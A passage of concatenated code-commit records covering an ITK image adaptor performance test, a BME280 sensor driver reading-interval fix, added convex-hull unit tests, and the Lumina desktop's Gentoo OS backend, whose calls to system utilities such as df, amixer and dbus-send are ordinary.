CasterType::Pointer caster = CasterType::New() ;\n caster->SetInput( scalarImage ) ;\n caster->Update() ;\n\n typedef itk::Statistics::ImageToListAdaptor< ArrayImageType > ImageListType ;\n ImageListType::Pointer imageList = ImageListType::New() ;\n imageList->SetImage( caster->GetOutput() ) ;\n\n typedef DummyJointDomainImageToListAdaptor< VectorImageType, \n float > JointDomainImageListType ;\n JointDomainImageListType::Pointer jointDomainImageList = \n JointDomainImageListType::New() ;\n jointDomainImageList->SetImage( vectorImage ) ;\n\n std::cout << \"Testing the each measurement values:\" << std::endl ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n if ( sList->GetMeasurementVector( i )[0] != \n vList->GetMeasurementVector( i )[0] \n || sList->GetMeasurementVector( i )[0] != \n imageList->GetMeasurementVector( i )[0] \n || sList->GetMeasurementVector( i )[0] != \n jointDomainImageList->GetMeasurementVector( i )[3] \n )\n {\n std::cout << \"ERROR: measurement mismatch!!!\" << std::endl ;\n return EXIT_FAILURE ;\n }\n }\n std::cout << std::endl ;\n\n \n std::cout << \"Scalar image (casted) pixel access performance test:\" << std::endl ;\n time_t begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n imageList->GetMeasurementVector( i ) ;\n }\n time_t end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC)\n << \" seconds\" << std::endl ;\n\n std::cout << \"Scalar image pixel access performance test:\" << std::endl ;\n begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n sList->GetMeasurementVector( i ) ;\n }\n end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC) \n << \" seconds\" << std::endl ;\n\n std::cout << \"Vector image pixel access performance test:\" << std::endl ;\n begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n vList->GetMeasurementVector( i ) ;\n }\n end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC) \n << \" seconds\" << std::endl ;\n\n std::cout << \"Joint Domain Vector image pixel access performance test:\" << std::endl ;\n begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n std::cout << jointDomainImageList->GetMeasurementVector( i ) \n << std::endl ;\n }\n end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC) \n << \" seconds\" << std::endl ;\n\n return EXIT_SUCCESS ;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef _BME280_IMPL_\n#define _BME280_IMPL_\n\n#include \"SensorInterface.hpp\"\n#include <Wire.h>\n#include <Adafruit_BME280.h>\n\nclass BME280_Impl : public SensorInterface {\n public:\n BME280_Impl(uint8_t i2caddr);\n virtual ~BME280_Impl();\n\n virtual float temperature();\n virtual float humidity();\n virtual float pressure();\n virtual SensorInterface::SensorState state();\n private:\n void readSensor();\n Adafruit_BME280 bme;\n SensorInterface::SensorState ss;\n float h; \/\/ humidity in percent\n float t; \/\/ temperature as Celsius\n float p; \/\/ pressure in hPa\n};\n\ninline BME280_Impl::BME280_Impl(uint8_t i2caddr)\n : bme()\n , ss(SensorInterface::state())\n , t(SensorInterface::temperature())\n , h(SensorInterface::humidity())\n , p(SensorInterface::pressure()) {\n if (!bme.begin(i2caddr)) {\n Homie.getLogger() << \"Couldn't find BME280\" << endl;\n ss = connect_error;\n }\n else\n {\n \/\/ weather monitoring\n bme.setSampling(Adafruit_BME280::MODE_FORCED,\n Adafruit_BME280::SAMPLING_X1, \/\/ temperature\n Adafruit_BME280::SAMPLING_X1, \/\/ pressure\n Adafruit_BME280::SAMPLING_X1, \/\/ humidity\n Adafruit_BME280::FILTER_OFF );\n }\n}\n\ninline BME280_Impl::~BME280_Impl() {\n\n}\n\ninline void BME280_Impl::readSensor() {\n if(ss == connect_error)\n return;\n\n static unsigned long lastRead = 0;\n if(lastRead == 0 || (millis() - lastRead >= 60000UL)) { \/\/ suggested: 1 reading per minute\n \/\/ Only needed in forced mode! In normal mode, you can remove the next line.\n bme.takeForcedMeasurement(); \/\/ has no effect in normal mode\n \n float _t = bme.readTemperature();\n float _h = bme.readHumidity();\n float _p = bme.readPressure() \/ 100.0F;\n \/\/ Check if any reads failed and keep old values (to try again).\n if (isnan(_h) || isnan(_t) || isnan(_p)) {\n ss = SensorInterface::read_error;\n Homie.getLogger() << \"Failed to read BME280 sensor!\" << endl;\n } else {\n ss = SensorInterface::ok;\n t = _t;\n h = _h;\n p = _p;\n } \n }\n}\n\ninline float BME280_Impl::temperature() {\n readSensor();\n return t;\n}\n\ninline float BME280_Impl::humidity() {\n readSensor();\n return h;\n}\n\ninline float BME280_Impl::pressure() {\n readSensor();\n return p;\n}\n\ninline SensorInterface::SensorState BME280_Impl::state() {\n readSensor();\n return ss;\n}\n\n\n#endif\n<commit_msg>* fixed max reading interval of BME280<commit_after>#ifndef _BME280_IMPL_\n#define _BME280_IMPL_\n\n#include \"SensorInterface.hpp\"\n#include <Wire.h>\n#include <Adafruit_BME280.h>\n\nclass BME280_Impl : public SensorInterface {\n public:\n BME280_Impl(uint8_t i2caddr);\n virtual ~BME280_Impl();\n\n virtual float temperature();\n virtual float humidity();\n virtual float pressure();\n virtual SensorInterface::SensorState state();\n private:\n void readSensor();\n Adafruit_BME280 bme;\n SensorInterface::SensorState ss;\n float h; \/\/ humidity in percent\n float t; \/\/ temperature as Celsius\n float p; \/\/ pressure in hPa\n};\n\ninline BME280_Impl::BME280_Impl(uint8_t i2caddr)\n : bme()\n , ss(SensorInterface::state())\n , t(SensorInterface::temperature())\n , h(SensorInterface::humidity())\n , p(SensorInterface::pressure()) {\n if (!bme.begin(i2caddr)) {\n Homie.getLogger() << \"Couldn't find BME280\" << endl;\n ss = connect_error;\n }\n else\n {\n \/\/ weather monitoring\n bme.setSampling(Adafruit_BME280::MODE_FORCED,\n Adafruit_BME280::SAMPLING_X1, \/\/ temperature\n Adafruit_BME280::SAMPLING_X1, \/\/ pressure\n Adafruit_BME280::SAMPLING_X1, \/\/ humidity\n Adafruit_BME280::FILTER_OFF );\n }\n}\n\ninline BME280_Impl::~BME280_Impl() {\n\n}\n\ninline void BME280_Impl::readSensor() {\n if(ss == connect_error)\n return;\n\n if((now - last) > 60000UL || (last == 0)) { \/\/ suggested: 1 reading per minute\n \n \/\/ Only needed in forced mode! In normal mode, you can remove the next line.\n bme.takeForcedMeasurement(); \/\/ has no effect in normal mode\n \n float _t = bme.readTemperature();\n float _h = bme.readHumidity();\n float _p = bme.readPressure() \/ 100.0F;\n \/\/ Check if any reads failed and keep old values (to try again).\n if (isnan(_h) || isnan(_t) || isnan(_p)) {\n ss = SensorInterface::read_error;\n Homie.getLogger() << \"Failed to read BME280 sensor!\" << endl;\n } else {\n ss = SensorInterface::ok;\n t = _t;\n h = _h;\n p = _p;\n last = now;\n } \n }\n}\n\ninline float BME280_Impl::temperature() {\n readSensor();\n return t;\n}\n\ninline float BME280_Impl::humidity() {\n readSensor();\n return h;\n}\n\ninline float BME280_Impl::pressure() {\n readSensor();\n return p;\n}\n\ninline SensorInterface::SensorState BME280_Impl::state() {\n readSensor();\n return ss;\n}\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include \"convexHull.h\"\n#include \"testUtil.h\"\n\nusing namespace Eigen;\n\nvoid testConvexHull() {\n Matrix<double, 2, Dynamic> pts(2, 4);\n pts << 1.0, 2.0, 3.0, 2.0,\n 2.0, 1.0, 2.0, 3.0;\n\n valuecheck(inConvexHull(pts, Vector2d(2.0, 2.0)), true);\n valuecheck(inConvexHull(pts, Vector2d(1.0001, 2.0)), true);\n valuecheck(inConvexHull(pts, Vector2d(0.9999, 2.0)), false);\n valuecheck(inConvexHull(pts, Vector2d(2.49, 2.49)), true);\n valuecheck(inConvexHull(pts, Vector2d(2.51, 2.51)), false);\n}\n\nvoid testDistanceFromHull() {\n Matrix<double, 2, Dynamic> pts(2, 5);\n pts << 0, 1, 1, 0, 0.5,\n 0, 1, 0, 1, 0.5;\n\n double d = signedDistanceInsideConvexHull(pts, Vector2d(0, 0));\n valuecheck(d, 0.0, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0.5, 0.5));\n valuecheck(d, 0.5, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(-0.5, 0));\n valuecheck(d, -0.5, 1e-8);\n\n pts << 0, 2, 2, 0, 0.5,\n 0, 2, 0, 2, 0.5;\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0, 0));\n valuecheck(d, 0.0, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0.5, 0.5));\n valuecheck(d, 0.5, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(-0.5, 0));\n valuecheck(d, -0.5, 1e-8);\n}\n\nvoid testRealData() {\n Matrix<double, 2, Dynamic> pts(2, 16);\n pts << 0.237506, 0.330077, 0.297687, 0.390258, 0.177325, 0.269896, 0.357868, 0.450439, 0.00257912, 0.116144, 0.0466612, 0.160226, -0.03475, 0.0788149, 0.0873669, 0.200932,\n -0.00459488, -0.093748, 0.0579462, -0.0312069, -0.067136, -0.156289, 0.120487, 0.0313342, 0.102483, 0.0421703, 0.185504, 0.125191, 0.0321808, -0.0281323, 0.262166, 0.201853;\n Vector2d q(0.196956, 0.0487772);\n\n double d = signedDistanceInsideConvexHull(pts, q);\n valuecheck(d, 0.136017, 1e-6);\n}\n\nvoid testDuplicates() {\n Matrix<double, 2, Dynamic> pts(2, 8);\n pts << 0.0, 1.0, 1.0, 0.0, 0.5, 0.0, 0.0, 1.0 - 1e-16, \n 0.0, 1.0, 0.0, 1.0, 0.5, 0.0, 0.0, 1.0 - 1e-16;\n double d = signedDistanceInsideConvexHull(pts, Vector2d(0, 0));\n valuecheck(d, 0.0, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0.5, 0.5));\n valuecheck(d, 0.5, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(-0.5, 0));\n valuecheck(d, -0.5, 1e-8);\n}\n\nvoid testRandomConvexCombinations() {\n for (int i=2; i < 10; ++i) {\n for (int j=0; j < 100; ++j) {\n MatrixXd pts = MatrixXd::Random(2, i);\n VectorXd weights = VectorXd::Random(i);\n if (weights.minCoeff() < 0) {\n weights = weights.array() - weights.minCoeff(); \/\/ make sure they're all nonnegative\n }\n weights = weights.array() \/ weights.sum();\n Vector2d q = pts * weights;\n valuecheck(inConvexHull(pts, q, 1e-8), true);\n }\n }\n}\n\nint main() {\n testConvexHull();\n std::cout << \"testConvexHull passed\" << std::endl;\n testDistanceFromHull();\n std::cout << \"testDistanceFromHull passed\" << std::endl;\n testRealData();\n std::cout << \"testRealData passed\" << std::endl;\n testDuplicates();\n std::cout << \"testDuplicates passed\" << std::endl;\n testRandomConvexCombinations();\n std::cout << \"testRandomConvexCombinations passed\" << std::endl;\n}\n<commit_msg>more tests<commit_after>#include <iostream>\n#include \"convexHull.h\"\n#include \"testUtil.h\"\n\nusing namespace Eigen;\n\nvoid testConvexHull() {\n Matrix<double, 2, Dynamic> pts(2, 4);\n pts << 1.0, 2.0, 3.0, 2.0,\n 2.0, 1.0, 2.0, 3.0;\n\n valuecheck(inConvexHull(pts, Vector2d(2.0, 2.0)), true);\n valuecheck(inConvexHull(pts, Vector2d(1.0001, 2.0)), true);\n valuecheck(inConvexHull(pts, Vector2d(0.9999, 2.0)), false);\n valuecheck(inConvexHull(pts, Vector2d(2.49, 2.49)), true);\n valuecheck(inConvexHull(pts, Vector2d(2.51, 2.51)), false);\n}\n\nvoid testDistanceFromHull() {\n Matrix<double, 2, Dynamic> pts(2, 5);\n pts << 0, 1, 1, 0, 0.5,\n 0, 1, 0, 1, 0.5;\n\n double d = signedDistanceInsideConvexHull(pts, Vector2d(0, 0));\n valuecheck(d, 0.0, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0.5, 0.5));\n valuecheck(d, 0.5, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(-0.5, 0));\n valuecheck(d, -0.5, 1e-8);\n\n pts << 0, 2, 2, 0, 0.5,\n 0, 2, 0, 2, 0.5;\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0, 0));\n valuecheck(d, 0.0, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0.5, 0.5));\n valuecheck(d, 0.5, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(-0.5, 0));\n valuecheck(d, -0.5, 1e-8);\n}\n\nvoid testRealData() {\n Matrix<double, 2, Dynamic> pts(2, 16);\n pts << 0.237506, 0.330077, 0.297687, 0.390258, 0.177325, 0.269896, 0.357868, 0.450439, 0.00257912, 0.116144, 0.0466612, 0.160226, -0.03475, 0.0788149, 0.0873669, 0.200932,\n -0.00459488, -0.093748, 0.0579462, -0.0312069, -0.067136, -0.156289, 0.120487, 0.0313342, 0.102483, 0.0421703, 0.185504, 0.125191, 0.0321808, -0.0281323, 0.262166, 0.201853;\n Vector2d q(0.196956, 0.0487772);\n\n double d = signedDistanceInsideConvexHull(pts, q);\n valuecheck(d, 0.136017, 1e-6);\n}\n\nvoid testDuplicates() {\n Matrix<double, 2, Dynamic> pts(2, 8);\n pts << 0.0, 1.0, 1.0, 0.0, 0.5, 0.0, 0.0, 1.0 - 1e-16, \n 0.0, 1.0, 0.0, 1.0, 0.5, 0.0, 0.0, 1.0 - 1e-16;\n double d = signedDistanceInsideConvexHull(pts, Vector2d(0, 0));\n valuecheck(d, 0.0, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(0.5, 0.5));\n valuecheck(d, 0.5, 1e-8);\n\n d = signedDistanceInsideConvexHull(pts, Vector2d(-0.5, 0));\n valuecheck(d, -0.5, 1e-8);\n}\n\nvoid testRandomConvexCombinations() {\n for (int i=2; i < 50; ++i) {\n for (int j=0; j < 500; ++j) {\n MatrixXd pts = MatrixXd::Random(2, i);\n VectorXd weights = VectorXd::Random(i);\n if (weights.minCoeff() < 0) {\n weights = weights.array() - weights.minCoeff(); \/\/ make sure they're all nonnegative\n }\n weights = weights.array() \/ weights.sum();\n Vector2d q = pts * weights;\n valuecheck(inConvexHull(pts, q, 1e-8), true);\n }\n }\n}\n\nint main() {\n testConvexHull();\n std::cout << \"testConvexHull passed\" << std::endl;\n testDistanceFromHull();\n std::cout << \"testDistanceFromHull passed\" << std::endl;\n testRealData();\n std::cout << \"testRealData passed\" << std::endl;\n testDuplicates();\n std::cout << \"testDuplicates passed\" << std::endl;\n testRandomConvexCombinations();\n std::cout << \"testRandomConvexCombinations passed\" << std::endl;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===========================================\n\/\/ Lumina-DE source code\n\/\/ Copyright (c) 2016, Ken Moore\n\/\/ Available under the 3-clause BSD license\n\/\/ See the LICENSE file for full details\n\/\/===========================================\n#ifdef __linux__\n#include <QDebug>\n#include \"LuminaOS.h\"\n#include <unistd.h>\n#include <stdio.h> \/\/ Needed for BUFSIZ\n\n\/\/can't read xbrightness settings - assume invalid until set\nstatic int screenbrightness = -1;\n\nQString LOS::OSName(){ return \"Gentoo Linux\"; }\n\n\/\/OS-specific prefix(s)\n\/\/ NOTE: PREFIX, L_ETCDIR, L_SHAREDIR are defined in the OS-detect.pri project file and passed in\nQString LOS::LuminaShare(){ return (L_SHAREDIR+\"\/lumina-desktop\/\"); } \/\/Install dir for Lumina share files\nQString LOS::AppPrefix(){ return \"\/usr\/\"; } \/\/Prefix for applications\nQString LOS::SysPrefix(){ return \"\/\"; } \/\/Prefix for system\n\n\/\/OS-specific application shortcuts (*.desktop files)\nQString LOS::ControlPanelShortcut(){ return \"\"; } \/\/system control panel\nQString LOS::AppStoreShortcut(){ return LOS::AppPrefix() + \"\/share\/applications\/porthole.desktop\"; } \/\/graphical app\/pkg manager\n\/\/OS-specific RSS feeds (Format: QStringList[ <name>::::<url> ]; )\nQStringList LOS::RSSFeeds(){ return QStringList(); } \n\n\/\/ ==== ExternalDevicePaths() ====\nQStringList LOS::ExternalDevicePaths(){\n \/* Returns: QStringList[<type>::::<filesystem>::::<path>]\n Note: <type> = [USB, HDRIVE, DVD, SDCARD, UNKNOWN]\n df is much better for this than mount, because it skips\n all non-physical devices (like bind-mounts from schroot)\n so they are not listed in lumina-fm *\/\n QStringList devs = LUtils::getCmdOutput(\"df --output=source,fstype,target\");\n \/\/Now check the output\n for(int i=0; i<devs.length(); i++){\n if(devs[i].startsWith(\"\/dev\/\")){\n devs[i] = devs[i].simplified();\n QString type = devs[i].section(\" on \",0,0);\n type.remove(\"\/dev\/\");\n \/\/Determine the type of hardware device based on the dev node\n if(type.startsWith(\"sd\") || type.startsWith(\"nvme\")){ type = \"HDRIVE\"; }\n else if(type.startsWith(\"sr\")){ type=\"DVD\"; }\n else if(type.contains(\"mapper\")){ type=\"LVM\"; }\n else{ type = \"UNKNOWN\"; }\n \/\/Now put the device in the proper output format\n devs[i] = type + \"::::\" + devs[i].section(\" \",1,1) + \"::::\" + devs[i].section(\" \",2,2);\n }else{\n \/\/invalid device - remove it from the list\n devs.removeAt(i);\n i--;\n }\n }\n return devs;\n}\n\n\/\/Read screen brightness information\nint LOS::ScreenBrightness(){\n \/\/Returns: Screen Brightness as a percentage (0-100, with -1 for errors)\n if(screenbrightness==-1){\n if(QFile::exists(QString(getenv(\"XDG_CONFIG_HOME\"))+\"\/lumina-desktop\/.currentxbrightness\")){\n int val = LUtils::readFile(QString(getenv(\"XDG_CONFIG_HOME\"))+\"\/lumina-desktop\/.currentxbrightness\").join(\"\").simplified().toInt();\n screenbrightness = val;\n }\n }\n return screenbrightness;\n\n}\n\n\/\/Set screen brightness\nvoid LOS::setScreenBrightness(int percent){\n \/\/ensure bounds\n if(percent<0){percent=0;}\n else if(percent>100){ percent=100; }\n \/\/ float pf = percent\/100.0; \/\/convert to a decimel\n \/\/Run the command\n QString cmd = \"xbacklight -set %1\";\n \/\/ cmd = cmd.arg( QString::number( int(65535*pf) ) );\n cmd = cmd.arg( QString::number( percent ) );\n int ret = LUtils::runCmd(cmd);\n \/\/Save the result for later\n if(ret!=0){ screenbrightness = -1; }\n else{ screenbrightness = percent; }\n LUtils::writeFile(QString(getenv(\"XDG_CONFIG_HOME\"))+\"\/lumina-desktop\/.currentxbrightness\", QStringList() << QString::number(screenbrightness), true);\n\n}\n\n\/\/Read the current volume\nint LOS::audioVolume(){ \/\/Returns: audio volume as a percentage (0-100, with -1 for errors)\nQString info = LUtils::getCmdOutput(\"amixer get Master\").join(\"\").simplified();;\n int out = -1;\n int start_position, end_position;\n QString current_volume;\n if(!info.isEmpty()){\n start_position = info.indexOf(\"[\");\n start_position++;\n end_position = info.indexOf(\"%\");\n current_volume = info.mid(start_position, end_position - start_position);\n out = current_volume.toInt();\n }\n return out;\n\n}\n\n\/\/Set the current volume\nvoid LOS::setAudioVolume(int percent){\n if(percent<0){percent=0;}\n else if(percent>100){percent=100;}\n \/\/ QString info = \"amixer -c 0 sset Master,0 \" + QString::number(percent) + \"%\";\n QString info = \"amixer set Master \" + QString::number(percent) + \"%\";\n if(!info.isEmpty()){\n \/\/Run Command\n LUtils::runCmd(info);\n }\n\n}\n\n\/\/Change the current volume a set amount (+ or -)\nvoid LOS::changeAudioVolume(int percentdiff){\n int old_volume = audioVolume();\n int new_volume = old_volume + percentdiff;\n if (new_volume < 0)\n new_volume = 0;\n if (new_volume > 100)\n new_volume = 100;\n qDebug() << \"Setting new volume to: \" << new_volume;\n setAudioVolume(new_volume);\n}\n\n\/\/Check if a graphical audio mixer is installed\nbool LOS::hasMixerUtility(){\n return QFile::exists(LOS::AppPrefix() + \"bin\/pavucontrol\");\n}\n\n\/\/Launch the graphical audio mixer utility\nvoid LOS::startMixerUtility(){\n QProcess::startDetached(LOS::AppPrefix() + \"bin\/pavucontrol\");\n}\n\n\/\/Check for user system permission (shutdown\/restart)\nbool LOS::userHasShutdownAccess(){\n return QProcess::startDetached(\"dbus-send --system --print-reply=literal \\\n --type=method_call --dest=org.freedesktop.login1 \\\n \/org\/freedesktop\/login1 org.freedesktop.login1.Manager.CanPowerOff\");\n}\n\n\/\/Check for whether the system is safe to power off (no updates being perfomed)\nbool LOS::systemPerformingUpdates(){\n return false; \/\/Not implemented yet\n}\n\n\/\/Return the details of any updates which are waiting to apply on shutdown\nQString LOS::systemPendingUpdates(){\n return \"\";\n}\n\n\/\/System Shutdown\nvoid LOS::systemShutdown(bool){ \/\/start poweroff sequence\n \/\/INPUT: skip updates (true\/false)\n QProcess::startDetached(\"dbus-send --system --print-reply \\\n --dest=org.freedesktop.login1 \/org\/freedesktop\/login1 \\\n org.freedesktop.login1.Manager.PowerOff boolean:true\");\n}\n\n\/\/System Restart\nvoid LOS::systemRestart(bool){ \/\/start reboot sequence\n \/\/INPUT: skip updates (true\/false)\n QProcess::startDetached(\"dbus-send --system --print-reply \\\n --dest=org.freedesktop.login1 \/org\/freedesktop\/login1 \\\n org.freedesktop.login1.Manager.Reboot boolean:true\");\n}\n\n\/\/Check for suspend support\nbool LOS::systemCanSuspend(){\n return QProcess::startDetached(\"dbus-send --system --print-reply=literal \\\n --type=method_call --dest=org.freedesktop.login1 \\\n \/org\/freedesktop\/login1 org.freedesktop.login1.Manager.CanSuspend\");\n}\n\n\/\/Put the system into the suspend state\nvoid LOS::systemSuspend(){\n QProcess::startDetached(\"dbus-send --system --print-reply \\\n --dest=org.freedesktop.login1 \/org\/freedesktop\/login1 \\\n org.freedesktop.login1.Manager.Suspend boolean:true\");\n}\n\n\/\/Battery Availability\nbool LOS::hasBattery(){\n QString my_status = LUtils::getCmdOutput(\"acpi -b\").join(\"\");\n bool no_battery = my_status.contains(\"No support\");\n if (no_battery) return false;\n return true;\n}\n\n\/\/Battery Charge Level\nint LOS::batteryCharge(){ \/\/Returns: percent charge (0-100), anything outside that range is counted as an error\n QString my_status = LUtils::getCmdOutput(\"acpi -b\").join(\"\");\n int my_start = my_status.indexOf(\"%\");\n \/\/ get the number right before the % sign\n int my_end = my_start;\n my_start--;\n while ( (my_status[my_start] != ' ') && (my_start > 0) )\n my_start--;\n my_start++;\n int my_charge = my_status.mid(my_start, my_end - my_start).toInt();\n if ( (my_charge < 0) || (my_charge > 100) ) return -1;\n return my_charge;\n}\n\n\/\/Battery Charging State\n\/\/ Many possible values are returned if the laptop is plugged in\n\/\/ these include \"Unknown, Full and No support.\n\/\/ However, it seems just one status is returned when running\n\/\/ on battery and that is \"Discharging\". So if the value we get\n\/\/ is NOT Discharging then we assume the battery is charging.\nbool LOS::batteryIsCharging(){\n QString my_status = LUtils::getCmdOutput(\"acpi -b\").join(\"\");\n bool discharging = my_status.contains(\"Discharging\");\n if (discharging) return false;\n return true;\n}\n\n\/\/Battery Time Remaining\nint LOS::batterySecondsLeft(){ \/\/Returns: estimated number of seconds remaining\n return 0; \/\/not implemented yet for Linux\n}\n\n\/\/File Checksums\nQStringList LOS::Checksums(QStringList filepaths){ \/\/Return: checksum of the input file\n QStringList info = LUtils::getCmdOutput(\"md5sum \\\"\"+filepaths.join(\"\\\" \\\"\")+\"\\\"\");\n for(int i=0; i<info.length(); i++){\n \/\/ first: md5sum: = error ; second: there's always one empty entry generated by getCmdOutput\n if( info[i].startsWith(\"md5sum:\") || info[i].isEmpty()){ info.removeAt(i); i--; }\n else{\n \/\/Strip out the extra information\n info[i] = info[i].section(\" \",0,0);\n }\n }\n return info;\n}\n\n\/\/file system capacity\nQString LOS::FileSystemCapacity(QString dir) { \/\/Return: percentage capacity as give by the df command\n QStringList mountInfo = LUtils::getCmdOutput(\"df -h \\\"\" + dir + \"\\\"\");\n QString::SectionFlag skipEmpty = QString::SectionSkipEmpty;\n \/\/output: 200G of 400G available on \/mount\/point\n QString capacity = mountInfo[1].section(\" \",3,3, skipEmpty) + \" of \" + mountInfo[1].section(\" \",1,1, skipEmpty) + \" available on \" + mountInfo[1].section(\" \",5,5, skipEmpty);\n return capacity;\n}\n\nQStringList LOS::CPUTemperatures(){ \/\/Returns: List containing the temperature of any CPU's (\"50C\" for example)\n QStringList temp = LUtils::getCmdOutput(\"acpi -t\").filter(\"degrees\");\n for(int i=0; i<temp.length(); i++){\n if(temp[i].startsWith(\"Thermal\")){\n temp[i] = temp[i].section(\" \", 4, 6);\n }else{\n temp.removeAt(i); i--;\n }\n }\n if(temp.isEmpty()) {\n temp << \"Not available\";\n }\n return temp;\n}\n\nint LOS::CPUUsagePercent(){ \/\/Returns: Overall percentage of the amount of CPU cycles in use (-1 for errors)\n QStringList info = LUtils::getCmdOutput(\"top -bn1\").filter(\"Cpu(s)\");\n if(info.isEmpty()){ return -1; }\n QString idle = info.first().section(\" \", 7, 7, QString::SectionSkipEmpty);\n if(idle.isEmpty()){ return -1; }\n else{\n return (100 - idle.toDouble());\n }\n}\n\nint LOS::MemoryUsagePercent(){\n QStringList mem = LUtils::getCmdOutput(\"top -bn1\").filter(\"Mem :\");\n if(mem.isEmpty()){ return -1; }\n double fB = 0; \/\/Free Bytes\n double uB = 0; \/\/Used Bytes\n fB = mem.first().section(\" \", 5, 5, QString::SectionSkipEmpty).toDouble();\n uB = mem.first().section(\" \", 7, 7, QString::SectionSkipEmpty).toDouble();\n double per = (uB\/(fB+uB)) * 100.0;\n return qRound(per);\n}\n\nQStringList LOS::DiskUsage(){ \/\/Returns: List of current read\/write stats for each device\n QStringList info = LUtils::getCmdOutput(\"iostat -dx -N\");\n if(info.length()<3){ return QStringList(); } \/\/nothing from command\n QStringList labs = info[1].split(\" \",QString::SkipEmptyParts);\n QStringList out;\n QString fmt = \"%1: %2 %3\";\n for(int i=2; i<info.length(); i++){ \/\/skip the first two lines, just labels\n info[i].replace(\"\\t\",\" \");\n if(info[i].startsWith(\"Device:\")){ labs = info[i].split(\" \", QString::SkipEmptyParts); }\/\/the labels for each column\n else{\n QStringList data = info[i].split(\" \",QString::SkipEmptyParts); \/\/data[0] is always the device\n if(data.length()>2 && labs.length()>2){\n out << fmt.arg(data[0], data[3]+\" \"+labs[3], data[4]+\" \"+labs[4]);\n }\n }\n }\n\n return out;\n}\n#endif\n<commit_msg>Fix dbus-send calls for Gentoo.<commit_after>\/\/===========================================\n\/\/ Lumina-DE source code\n\/\/ Copyright (c) 2016, Ken Moore\n\/\/ Available under the 3-clause BSD license\n\/\/ See the LICENSE file for full details\n\/\/===========================================\n#ifdef __linux__\n#include <QDebug>\n#include \"LuminaOS.h\"\n#include <unistd.h>\n#include <stdio.h> \/\/ Needed for BUFSIZ\n\n\/\/can't read xbrightness settings - assume invalid until set\nstatic int screenbrightness = -1;\n\nQString LOS::OSName(){ return \"Gentoo Linux\"; }\n\n\/\/OS-specific prefix(s)\n\/\/ NOTE: PREFIX, L_ETCDIR, L_SHAREDIR are defined in the OS-detect.pri project file and passed in\nQString LOS::LuminaShare(){ return (L_SHAREDIR+\"\/lumina-desktop\/\"); } \/\/Install dir for Lumina share files\nQString LOS::AppPrefix(){ return \"\/usr\/\"; } \/\/Prefix for applications\nQString LOS::SysPrefix(){ return \"\/\"; } \/\/Prefix for system\n\n\/\/OS-specific application shortcuts (*.desktop files)\nQString LOS::ControlPanelShortcut(){ return \"\"; } \/\/system control panel\nQString LOS::AppStoreShortcut(){ return LOS::AppPrefix() + \"\/share\/applications\/porthole.desktop\"; } \/\/graphical app\/pkg manager\n\/\/OS-specific RSS feeds (Format: QStringList[ <name>::::<url> ]; )\nQStringList LOS::RSSFeeds(){ return QStringList(); } \n\n\/\/ ==== ExternalDevicePaths() ====\nQStringList LOS::ExternalDevicePaths(){\n \/* Returns: QStringList[<type>::::<filesystem>::::<path>]\n Note: <type> = [USB, HDRIVE, DVD, SDCARD, UNKNOWN]\n df is much better for this than mount, because it skips\n all non-physical devices (like bind-mounts from schroot)\n so they are not listed in lumina-fm *\/\n QStringList devs = LUtils::getCmdOutput(\"df --output=source,fstype,target\");\n \/\/Now check the output\n for(int i=0; i<devs.length(); i++){\n if(devs[i].startsWith(\"\/dev\/\")){\n devs[i] = devs[i].simplified();\n QString type = devs[i].section(\" on \",0,0);\n type.remove(\"\/dev\/\");\n \/\/Determine the type of hardware device based on the dev node\n if(type.startsWith(\"sd\") || type.startsWith(\"nvme\")){ type = \"HDRIVE\"; }\n else if(type.startsWith(\"sr\")){ type=\"DVD\"; }\n else if(type.contains(\"mapper\")){ type=\"LVM\"; }\n else{ type = \"UNKNOWN\"; }\n \/\/Now put the device in the proper output format\n devs[i] = type + \"::::\" + devs[i].section(\" \",1,1) + \"::::\" + devs[i].section(\" \",2,2);\n }else{\n \/\/invalid device - remove it from the list\n devs.removeAt(i);\n i--;\n }\n }\n return devs;\n}\n\n\/\/Read screen brightness information\nint LOS::ScreenBrightness(){\n \/\/Returns: Screen Brightness as a percentage (0-100, with -1 for errors)\n if(screenbrightness==-1){\n if(QFile::exists(QString(getenv(\"XDG_CONFIG_HOME\"))+\"\/lumina-desktop\/.currentxbrightness\")){\n int val = LUtils::readFile(QString(getenv(\"XDG_CONFIG_HOME\"))+\"\/lumina-desktop\/.currentxbrightness\").join(\"\").simplified().toInt();\n screenbrightness = val;\n }\n }\n return screenbrightness;\n\n}\n\n\/\/Set screen brightness\nvoid LOS::setScreenBrightness(int percent){\n \/\/ensure bounds\n if(percent<0){percent=0;}\n else if(percent>100){ percent=100; }\n \/\/ float pf = percent\/100.0; \/\/convert to a decimel\n \/\/Run the command\n QString cmd = \"xbacklight -set %1\";\n \/\/ cmd = cmd.arg( QString::number( int(65535*pf) ) );\n cmd = cmd.arg( QString::number( percent ) 